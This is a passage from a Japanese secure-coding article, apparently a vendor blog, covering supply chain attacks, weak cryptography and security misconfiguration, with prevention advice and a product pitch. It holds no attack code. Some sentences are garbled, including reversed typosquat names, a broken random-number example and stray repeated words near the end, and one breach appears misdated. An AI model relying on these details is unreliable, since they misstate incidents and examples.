古いコンポーネントの使用に関連しますが、さらに悪質なのはソフトウェアサプライチェーン攻撃です。これは、攻撃者が使用するサードパーティパッケージに悪意のあるコードを注入することで、供給源を汚染するものです。攻撃者は脆弱性を待つのではなく、開発者がプロジェクトに取り込むライブラリを密かに改ざんしたり(または偽のライブラリを公開したり)することで、脆弱性を作成します。この種の攻撃は近年急増しており、特にnpmやPyPIのようなエコシステムで顕著です。
劇的な事例としては、 September 2025に、史上最大級のnpm侵害の一つが発生しました。攻撃者は、人気パッケージのメンテナーをフィッシングし、 debug そして chalk (これらを合わせると週に20億回以上ダウンロードされていました!)のnpmアカウントを乗っ取りました。その後、彼らは 感染したアップデート を18個のパッケージに公開し、ウェブページ上の暗号通貨ウォレットを標的とする悪意のあるコードを追加しました。これらの新しいバージョンに無邪気にアップデートした開発者は、実質的にマルウェアを取り込んでしまいました。悪意のあるコードは、トランザクション中にウォレットアドレスを入れ替えることで暗号通貨を盗むために、ウェブAPIにフックしました。この事件は大規模であり、パッケージが削除されパッチが適用されるまで、数百万のアプリケーションが危険にさらされる可能性がありました。これは、広く信頼されているパッケージでさえ、メンテナーが侵害されると突然トロイの木馬に変わる可能性があるという厳しい警告です。
他の例としては、2018年には、event-stream npmパッケージが特定のアプリからBitcoinウォレットのキーを盗むために侵害されたことで有名です。2021年には、PyPIでタイポスクワッティング攻撃が多発し、攻撃者は人気のあるパッケージに似た名前(例:urlib3の代わりにurllib3)でバックドアを含むパッケージをアップロードしました。名前を誤って入力した人は、悪意のあるパッケージをインストールしてしまいました。インフラツールでさえ被害を受けており、Docker Hubのイメージ、VSCodeの拡張機能など、枚挙にいとまがありません。
影響: 悪意のある依存関係は、アプリケーションと同じ権限で任意のコードを実行できます。これは、アプリのデータを盗んだり、環境からシークレット(APIキー、データベース認証情報)を外部に持ち出したり、バックドアを仕込んだり、他のシステムへの攻撃の足がかりにしたりする可能性があることを意味します。サプライチェーン攻撃は、信頼モデルを逆手に取ります。私たちはオープンソースパッケージを無害だと信頼し、自由に組み込みます。その信頼が裏切られると、影響は広範囲に及び、検出が非常に困難になります(node_modules内のコードの全行を検査する開発者がどれほどいるでしょうか?誰もいません)。この危険性を高めているのはその規模です。1つの人気パッケージが侵害されると、一度に数千ものダウンストリームアプリケーションが侵害される可能性があります。
予防策: 悪意のある依存関係から防御することは困難ですが、いくつかのベストプラクティスがあります。
- バージョンを固定し検証する: レビューなしに依存関係を最新バージョンに盲目的に自動更新しないでください。ロックファイルや明示的なバージョン固定を使用することで、悪意のある突然のアップデートが自動的に紛れ込むのを防ぎます。重要な依存関係の新しいバージョンがリリースされたら、可能であれば変更ログや差分を確認してください。特に影響の大きいパッケージの場合は重要です。
- パッケージの整合性機能を使用する: npmやPyPIのようなパッケージマネージャーは、パッケージの署名やチェックサムの検証をサポートしています。npmの場合、ロックファイルにSHA-512 integrity hashが含まれます。攻撃者がハッシュ衝突を引き起こす可能性は無視できるほど小さいため、これにより意図したものが正確にインストールされていることを保証できます。一部のエコシステムには署名付きパッケージがあります。利用可能な場合は、その機能を使用してください。
- アドバイザリを監視する: セキュリティアドバイザリやプロアクティブな監視ツールは、パッケージが侵害された場合にフラグを立てることができます。いくつかの大規模なインシデントでは、アラートが非常に迅速に発せられました。プロジェクトやプラットフォームは悪意のあるパッケージの脅威フィードを維持しており、既知の不正なパッケージのインストールを警告したりブロックしたりできます。
- 最小権限とサンドボックス化: ビルドやパッケージのインストールを分離された環境で実行することを検討してください。悪意のあるパッケージが実行された場合でも、サンドボックスや限られた権限のコンテナ内であれば、被害を最小限に抑えることができます。また、実行時には、必要な最小限の権限でアプリケーションを実行するように努めてください。これにより、ライブラリが暴走した場合でもアクセスを最小限に抑えることができます(例えば、Node.jsアプリをサーバー上でrootとして実行しないなど)。
- 可能であればコードを監査する: これは大規模では困難ですが、非常に重要な依存関係については、簡単なコード監査を行うか、パッケージの挙動を分析する自動ツールを使用する価値があるかもしれません。一部のツールは、アップデートによって突然ネットワーク接続が切断されたり、環境変数が疑わしい方法で読み取られたりするのを検出しようとします。
要約すると、サプライチェーンに対して常に警戒を怠らないでください。コミュニティはこの問題に対処するためのツールを開発し続けていますが(npmは現在、メンテナー向けに2FAを導入しています)、最終的にはパッケージの利用者として、アプリケーションに何を取り込むかを注意深く監視する必要があります。依存関係内のマルウェアをスキャンする自動化されたソリューションを使用することで、追加の防御層を提供し、悪意のあるコードがあなたを攻撃する前にそれを捕捉できます。
9. 脆弱な暗号化の実践
開発者がデータを保護しようとする際でも、その方法が重要です。暗号化を誤って使用すると、誤った安心感を与えてしまう可能性があります。一般的な落とし穴には、古くて脆弱なアルゴリズムの使用、鍵管理の不備、暗号プロトコルを手動で実装すること(そしてそれを誤ること)などがあります。これらの間違いは常に明白なCVEにつながるわけではありませんが、意図した保護を損なうことになります。
いくつかの例:
- パスワードに対する脆弱なハッシュ化: MD5やSHA-1のような高速なハッシュ(さらに悪いことにソルトなし)を使用してパスワードを保存することは危険です。高速なハッシュは、現代のハードウェアを使用すればブルートフォース攻撃やレインボーテーブルによって非常に迅速に解読される可能性があります。企業がパスワードをハッシュ化していたにもかかわらず、攻撃者がそのハッシュを解読したために侵害された事例は数多くあります。そのため、業界標準では、ソルトを使用した低速で計算負荷の高いハッシュ化(bcrypt、scrypt、Argon2)を使用しています。
- ハードコードされた、または再利用された暗号鍵: 開発者がJWT secret keys、API HMAC secrets、またはencryption keysを公開リポジトリにコミットする例が見られます(これはシークレットの問題と重複します)。攻撃者が対称鍵を入手した場合、自由にトークンを偽造したり、データを復号したりできます。同様に、同じ鍵を複数の環境で再利用したり、デフォルトの鍵を使用したりすること(一部のフレームワークでは、開発モード用のデフォルトのJWT secretが付属しており、変更を忘れる人がいました)は、侵害につながる可能性があります。
- 安全でない乱数性: セキュリティ上重要なトークンに、暗号学的に安全でない乱数生成器を使用すること。例えば、
Math.random()JavaScriptでパスワードリセットトークンを生成するために使用すると、ブルートフォース攻撃で予測できるほど十分な予測可能性があります。不適切な乱数生成に関するCVEは言語レベルでも存在しますが、多くの場合、開発者がcrypto.randomBytesまたはSecureRandom. - のようなものが必要であることに気づいていないことが原因です。独自の暗号とプロトコル: 「独自の暗号を作成するな」は古くからの知恵です。独自の暗号化アルゴリズムやプロトコルを実装すると、欠陥を導入する可能性が高くなります。例えば、開発者がAESでデータを暗号化することを決定しても、ECBモードを使用する場合があります(これは同一ブロックをランダム化しないため安全ではありません)。このパターンは一部の自家製暗号化ライブラリで現れ、情報漏洩につながっています。別の例として、署名を適切に検証しないこと(例えば、SSL/TLS接続で証明書チェーンをチェックせず、実質的に検証を無効にすること)があり、これは一部のアプリで中間者攻撃の脆弱性につながっています。
影響: 脆弱な暗号化は、データ漏洩や認証バイパスにつながる可能性があります。パスワードが簡単に解読できる場合、ハッシュ化されたパスワードデータベースが侵害されると、攻撃者は実際のパスワードの大部分を入手することになります。トークンやクッキーが脆弱な鍵で署名されている場合(または全く署名されていない場合)、攻撃者はそれらのトークンを偽造してユーザーになりすますことができます(JWTの「alg:none」の失敗は、本質的に「署名なし」を意味していました)。暗号化が誤って行われると、攻撃者は機密データを復号したり、気づかれずに改ざんしたりする可能性があります。本質的に、データは安全だと思っていても実際はそうではなく、これは壊滅的な結果を招く可能性があります。なぜなら、暗号化が保護してくれると仮定して、他の保護策を講じない可能性があるからです。
予防策: 確立されたベストプラクティスと標準を厳守してください。
- 独自の暗号化を記述するのではなく、実績のあるライブラリを使用してください。最新のプロトコル(TLS 1.0ではなくTLS 1.3、強力なアルゴリズムを使用したJWT、可能であればサーバーサイドストレージを備えた不透明なトークンなど)を使用してください。
- 強力なアルゴリズムとモードを選択してください。暗号化にはAES-GCMまたはChaCha20-Poly1305、署名には適切な鍵長を持つRSAまたはECDSA、パスワードのハッシュ化にはPBKDF2/bcrypt/Argon2などを使用します。非推奨のアルゴリズム(MD5、SHA-1、DES、RC4など)は避けてください。
- 鍵を安全に管理してください。ハードコードせず(繰り返しになりますが、シークレット管理)、鍵を定期的にローテーションし、目的ごとに異なる鍵を使用してください。JWTを使用する場合は、署名シークレットまたは鍵が十分に複雑で安全に保管されていることを確認してください。
- 乱数値(APIキー、トークン、ノンス)には、暗号学的に安全な乱数生成器を使用してください。ほとんどの言語では、特定の関数が用意されています。例えば、Nodeではcrypto.randomBytes、.NETではSystem.Security.Cryptography.RandomNumberGenerator、Javaではjava.security.SecureRandom(適切なソースを使用)などです。
- 暗号ライブラリを使用する際は、適切な使用方法に関するドキュメントを読んでください。多くの間違いは誤用から生じます。例えば、PyCryptoやGoの暗号パッケージを使用する場合、各暗号化呼び出しに一意のIVを提供し、ノンスを再利用しないようにするなど、注意が必要です。多くのライブラリは安全なデフォルト設定を提供しますが、すべてではありません。
- テストとレビュー:例えば、ハッシュ化されたパスワードが容易に解読できないこと、または暗号化されたデータが改ざんされないことを保証するテストを含めてください。脆弱なアルゴリズムを検出できる暗号リンターやアナライザーのようなツールの使用を検討してください。例えば、MD5や固定IVの使用を検出するための静的解析ルールがあります。Aikidoのスキャンは、いくつかの脆弱な暗号使用パターン(安全でないハッシュ関数の使用など)を検出し、より安全な代替手段にアップグレードできるよう警告します。
要するに、強力な暗号化は味方ですが、正しく使用された場合に限ります。コミュニティで検証された実装と設定を活用してください。疑問がある場合は、推測するのではなく、セキュリティ専門家やリソースに相談して適切なアプローチを見つけてください。暗号化を正しく設定するために少し時間をかけることで、将来的な重大な侵害を防ぐことができます。
10. セキュリティの誤設定と安全でないデフォルト設定
すべての脆弱性がコードロジックから生じるわけではありません。アプリケーションの設定(または誤設定)方法が、脆弱性を作り出すことがあります。セキュリティの誤設定は広範なカテゴリですが、コードの文脈では、デバッグモードを有効にしたままにする、デフォルトの認証情報やサンプル設定を使用する、詳細なエラーメッセージが情報を漏洩させる、セキュリティヘッダーを設定しない、といった事柄を指します。これらは、悲惨な結果を招く可能性のある単純な見落としであることがよくあります。
例:
- デバッグモードを有効にしたままにする:多くのフレームワーク(Django、Flask、Railsなど)には、本番環境で決して有効にすべきではないデバッグ/開発者モードがあります。デバッグモードでは、フレームワークはしばしば豊富なエラーページや対話型コンソールを提供します。例えば、FlaskのWerkzeugデバッガーは、ブラウザ経由で任意のPythonコードを実行できます。これは開発には非常に便利ですが、本番環境で有効にしたままにすると(攻撃者がアクセスできる場合)、即座にRCE(リモートコード実行)につながります。デバッグモードが有効な状態でインターネットに公開されたFlaskアプリケーションの誤設定により、攻撃者が容易にサーバーを乗っ取った事例があります。(この問題は非常に知られており、フレームワークは大きな警告を表示しますが、それでも時々発生します。)
- デフォルトの認証情報/設定:デフォルトの管理者パスワードを「admin」のままにしたり、デフォルトのAPIキーを変更しなかったりする例が含まれます。コードでは、サンプルのJWTシークレット「secret123」を含むチュートリアルを使用し、それを変更しなかった場合、誰でもトークンを偽造できることになります。あるいは、クラウドストレージSDKが特定のバケット名やアクセスルールをデフォルト設定としており、それを上書きしなかったために、意図せず公開状態にしてしまうこともあります。
- 詳細なエラーメッセージとスタックトレース:アプリケーションがユーザーに完全なスタックトレースやエラーダンプを表示する場合、攻撃者は多くの情報(ソフトウェアバージョン、内部パス、クエリ構造)を収集できます。その情報は、SQLインジェクション(エラーメッセージからクエリ構造を知る)や、使用しているライブラリのバージョンを特定するなど、他の攻撃を容易にする可能性があります。
- セキュリティヘッダーと設定:ウェブアプリケーションをセキュアなヘッダー(Content Security Policy、X-Frame-Options、HSTSなど)で設定しないことは、コードに直接的な脆弱性があるわけではありませんが、特定の種類の攻撃を軽減できません。同様に、アプリケーションをHTTPで実行することを許可する(HTTPSにリダイレクトしない)ことや、コードが外部リクエストを行う場合にTLS証明書を検証しないことは、エクスプロイト(MITMなど)につながる誤設定に分類されます。
- ファイル/ディレクトリのパーミッションとアップロード:アプリケーションがユーザーによってアップロードされたファイルを、何のチェックもなしにウェブアクセス可能なディレクトリに保存する場合、攻撃者はスクリプトをアップロードし、URL経由で直接アクセスすることで、実質的にサーバー上でコードを実行できます(これは多くの古いPHPエクスプロイトが機能した方法です)。これは、アプリケーションの誤設定(危険なファイルタイプを防止せず、アップロードを適切に隔離しないこと)と見なされる可能性があります。
影響:誤設定は、コードのバグと同様に、即座の侵害につながる可能性があります。例えば、パスワードなしで放置された管理インターフェース(実際に起こります!)は、基本的に開かれた扉です。有効なままのデバッグコンソールは、攻撃者にシェルアクセスを与える可能性があります。詳細なエラーメッセージは、攻撃者がSQLインジェクションやXSSのベクターを見つけるのに役立ちます。したがって、誤設定は「ああ、それは単なる設定だ」と思われるかもしれませんが、他の脆弱性と同様に致命的となる可能性があります。例えば、2024年のUberの侵害は、MFAなしで公開された管理ツールから始まったと報じられており、これはアクセスに関する誤設定の問題です。
予防策:良いニュースは、誤設定は一度特定されれば通常は簡単に修正できるということです。多くの場合、強化された設定チェックリストを維持することに尽きます。
- 本番環境ではデバッグ/開発者モードを無効にする。デプロイ前に再確認してください。多くのフレームワークでは環境変数や設定フラグが利用できるため、それが正しく設定されていることを確認してください。非ローカル環境でデバッグが有効になっている場合、実行を拒否するアサーションをコードに含めることもできます。
- すべてのデフォルトパスワードとシークレットを変更する。これは基本的なことですが、強調する必要があります。デフォルトの認証情報が付属しているものは、初回インストール時に変更する必要があります。サンプルのキーやパスワードを含むボイラープレートコードやテンプレートを使用している場合は、コードベースでそれらを検索し、安全な値に置き換えてください。
- エラーを適切に処理する。ユーザー向けに一般的なエラーページを設定してください。詳細なエラーは内部でログに記録しますが、エンドユーザーにスタックトレースを公開しないでください。また、APIエラーが返す情報についても考慮し、完全なSQLクエリやサーバーのファイルパスなどを漏洩させないでください。
- セキュリティヘッダーとベストプラクティスを適用する。安全なヘッダーを設定するライブラリやミドルウェアを使用してください(多くのフレームワークには有効にできるセキュリティモジュールがあります)。HTTPSを強制し、HSTSを使用してHTTPへのダウングレードを防ぎます。アプリケーションがiframeやクロスオリジンを許可する必要がある場合は、意図的に設定してください。そうでない場合は、X-Frame-OptionsをDENYなどに設定します。
- ファイルアップロードの処理:アプリケーションがファイルをアップロードする場合、それらをウェブルートの外に保存するか、無害な拡張子にリネームしてください。ファイルタイプを検証します。また、アプリケーションが実行されるアカウントが本当に必要なファイルパーミッションのみを持っていることを確認し、被害範囲を限定してください。
- 最新のプラットフォーム設定:アプリケーションサーバーと依存関係を最新の状態に保ち、安全なデフォルト設定の恩恵を受けられるようにしてください。例えば、新しいバージョンのフレームワークでは、デフォルトでより厳格なセキュリティが有効になる場合があります。
誤設定に対する自動スキャンを導入することは有効です。Aikidoのプラットフォームを含むツールは、Python設定ファイル内の「DEBUG = True」の検索や、サイトがセキュリティヘッダーを送信しているかどうかの確認など、一般的な誤設定パターンについてアプリケーションとインフラストラクチャをスキャンできます。これらのチェックは、多くの場合、アプリケーションセキュリティテストスイートの一部です。
最後に、設定標準を強制するためにInfrastructure as Code(IaC)とDevOpsパイプラインの使用を検討してください。例えば、アプリケーションをコンテナ化する場合、特定の環境変数(本番デバッグフラグなど)が存在する場合にコンテナが失敗するようにスクリプトを作成できます。重要なのは、デプロイ設定を後回しにしないことです。それはアプリケーションのセキュリティの不可欠な部分です。
開発パイプラインにセキュリティを組み込む
従来のインジェクションやXSSから、サプライチェーン攻撃や暗号バグの微妙な点まで、多くの領域をカバーしてきました。一つのテーマがあるとすれば、それはセキュアコーディングは継続的な取り組みであるということです。間違いは起こり、依存関係に新たな脆弱性が現れ、攻撃者はその一つの見落としを探し続けます。先手を打つ最善の方法は、問題を早期かつ継続的に検出する回復力のある開発プロセスを構築することです。
これは、セキュリティ意識を持ったコードレビュー、定期的な依存関係の更新、CI/CDセキュリティテストの統合といった実践を取り入れることを意味します。自動化ツールはここで味方となります。例えば、静的アプリケーションセキュリティテスト(SAST)はコードを記述する際に分析し、危険なパターン(SQL文字列、危険な関数呼び出し)が実行される前にフラグを立てます。 依存関係スキャナーは、リポジトリ内のライブラリに影響する新たなCVEが発生した瞬間に警告を発します。これは攻撃手法が数時間以内に兵器化される現代において極めて重要です。シークレットスキャンは、API 誤ってGitHubにプッシュしてしまう「おっと」という瞬間を防ぎます。またコンテナ/インフラスキャンにより、デプロイ設定の堅牢性を確保できます。
合気道 Aikidoでは、開発者に優しい環境づくりを重視しています。ESLint、Semgrep、Trivyなどのオープンソースツールは素晴らしいですが、複数のスキャナーを連鎖させることは開発チームにとって頭痛の種になり得ます。だからこそ、 Aikido のようなプラットフォームは、複数のセキュリティチェック(SAST、SCA、シークレット、IaC、コンテナスキャン)をカスタムルールと自動修正機能で統合します。これにより、優れた開発者体験(DX)を維持しながら包括的なカバレッジを実現します。目標は、ワークフロー内で完全なコンテキストと共に実際の脆弱性を可視化し、自動修正やガイダンスを提供することです。例えば、 Aikido が脆弱なライブラリを検知した場合、安全なバージョンへのアップグレードを提案(自動実行も可)します。シークレットを発見した場合は、そのローテーションを支援し再発を防止します。これにより脆弱性 開発者が脆弱性 セキュリティ専門家になる負担が軽減されます脆弱性 ツールが支援し脆弱性 実践を通じて学べるのです脆弱性
開発者として、あなたはソフトウェアをすべての人にとってより安全にする力を持っています。まず、セキュリティ上の欠陥を機能上の欠陥と同等に重要視することから始めましょう。議論した主要な脆弱性をテストケースや脅威モデルに組み込みます。そして、単独で取り組まないでください——IDEやCIに統合できるセキュリティツールやサービスを活用しましょう。まずは無料でスキャンを実行することから始められます。 Aikido などのプラットフォームで無料スキャンを実行し、検出結果を確認することから始めましょう。多くの場合、目から鱗が落ちる体験となるでしょう!プルリクエストごとにこれらのツールを自動実行するように設定し、修正コストが最も低い段階で問題を早期に捕捉しましょう。
セキュアコーディングは目的地ではなく、旅です。しかし、これらの一般的な脆弱性タイプを認識し、適切なプラクティスとツールを積極的に活用することで、リスクを大幅に軽減できます。素晴らしいだけでなく、設計段階からセキュアなコードを出荷しましょう。ユーザー(そして未来のあなた自身)が感謝するでしょう。
続きを読む:
Dockerコンテナセキュリティの主要な脆弱性トップ9
クラウドセキュリティの脆弱性トップ7
すべてのチームが知るべきWebアプリケーションセキュリティ脆弱性トップ10
トップ9 Kubernetesセキュリティ脆弱性と設定ミス
開発者が避けるべきPythonセキュリティ脆弱性トップ10
現代のWebアプリケーションにおける主要なJavaScriptセキュリティ脆弱性
ソフトウェアサプライチェーンセキュリティ脆弱性トップ9の解説
今すぐソフトウェアを保護しましょう



